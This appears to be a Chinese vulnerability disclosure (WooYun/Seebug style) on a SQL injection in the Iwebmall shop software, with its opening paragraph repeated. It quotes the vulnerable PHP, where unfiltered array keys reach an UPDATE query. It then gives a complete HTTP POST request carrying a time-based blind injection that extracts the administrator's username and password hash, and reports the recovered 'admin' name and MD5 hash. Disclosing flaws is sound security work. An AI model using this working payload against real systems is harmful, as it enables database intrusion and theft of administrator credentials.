### 简要描述： Iwebmall 最新版SQL注入第八枚 ### 详细说明： 看到wooyun上有人提了几个iweb的漏洞（ [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ），我来捡捡漏儿吧，希望不要重复。 先把注入点拿出来：www.xxx.com/do.php?act=shop_honor_update ，POST的内容中有个参数old_img_desc，old_img_desc作为数组传入，Iweb只对val进行了过滤，但是忽略了key，后面直接把key作为honor_id带入了update，造成了注入。 action/shop/guestbook_del.action.php ``` 无关代码 $old_img_desc = array(); if(get_args('old_img_desc')) { foreach(get_args('old_img_desc') as $k=>$v) { $old_img_desc[$k] = short_check($v); } } if(!empty($old_img_desc)) { update_honor_desc($dbo,$t_shop_honor,$shop_id,$old_img_desc); } 无关代码 ``` 再去看看del_shop_askprice()，/foundation/module_honor.php ``` function update_honor_desc(&$dbo,$table,$shop_id,$array) { $i = 0; foreach($array as $k=>$v) { $sql = "update `$table` set honor_desc='$v' where shop_id='$shop_id' and honor_id='$k'"; if($dbo->exeUpdate($sql)) { $i++; } } return $i; } ``` 可以看到数组$old_img_desc的键$k没有经过过滤就带入了update语句。 Iweb没有错误回显，这里用time-based blind进行注入测试。 Payload: ``` POST...
### 简要描述： Iwebmall 最新版SQL注入第八枚 ### 详细说明： 看到wooyun上有人提了几个iweb的漏洞（ [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ），我来捡捡漏儿吧，希望不要重复。 先把注入点拿出来：www.xxx.com/do.php?act=shop_honor_update ，POST的内容中有个参数old_img_desc，old_img_desc作为数组传入，Iweb只对val进行了过滤，但是忽略了key，后面直接把key作为honor_id带入了update，造成了注入。 action/shop/guestbook_del.action.php ``` 无关代码 $old_img_desc = array(); if(get_args('old_img_desc')) { foreach(get_args('old_img_desc') as $k=>$v) { $old_img_desc[$k] = short_check($v); } } if(!empty($old_img_desc)) { update_honor_desc($dbo,$t_shop_honor,$shop_id,$old_img_desc); } 无关代码 ``` 再去看看del_shop_askprice()，/foundation/module_honor.php ``` function update_honor_desc(&$dbo,$table,$shop_id,$array) { $i = 0; foreach($array as $k=>$v) { $sql = "update `$table` set honor_desc='$v' where shop_id='$shop_id' and honor_id='$k'"; if($dbo->exeUpdate($sql)) { $i++; } } return $i; } ``` 可以看到数组$old_img_desc的键$k没有经过过滤就带入了update语句。 Iweb没有错误回显，这里用time-based blind进行注入测试。 Payload: ``` POST /do.php?act=shop_honor_update HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://192.168.0.107/modules.php?app=user_favorite Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 192.168.0.107 Content-Length: 205 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; PHPSESSID=i65sb8aebiohcm0d59a88nasi7; iweb_visitIwebMallGoods=192.168.0.107%2C16%2C26; old_img_desc%5B-1'/**/or/**/(select/**/if(mid((select/**/admin_name/**/from/**/imall_admin_user/**/where/**/admin_id%3D1/**/limit /**/0,1),1,1)%3D'z',sleep(3),0))/**/and/**/'1'%3D'1%5D=1 ``` 测试时：登陆后访问如上的请求，抓包，按上面的payload进行修改即可。这里注意，数组old_img_desc的键随便写一个值，本例为-1；这里是修改原图片的描述，在测试时要使原片有描述，也即使所用到的数据表‘imall_shop_honor’不是空表。 单引号被引入，如图 [<img src="https://images.seebug.org/upload/201412/11231025af0b5f6c27f159ffad3e0025d7c3c510.jpg" alt="单引号引入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/11231025af0b5f6c27f159ffad3e0025d7c3c510.jpg) 因为是time-based blind 注入，猜测管理员用户名的第三个字母时，若错误，延迟2s左右，如下图 [<img src="https://images.seebug.org/upload/201412/11231041483d982004eb0aa2fc68d73ca852649e.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/11231041483d982004eb0aa2fc68d73ca852649e.jpg) 若正确，延迟5s左右，如下图 [<img src="https://images.seebug.org/upload/201412/11231052c579eb2509c1211fda563f52bc98235a.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/11231052c579eb2509c1211fda563f52bc98235a.jpg) 按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明： 见 详细说明
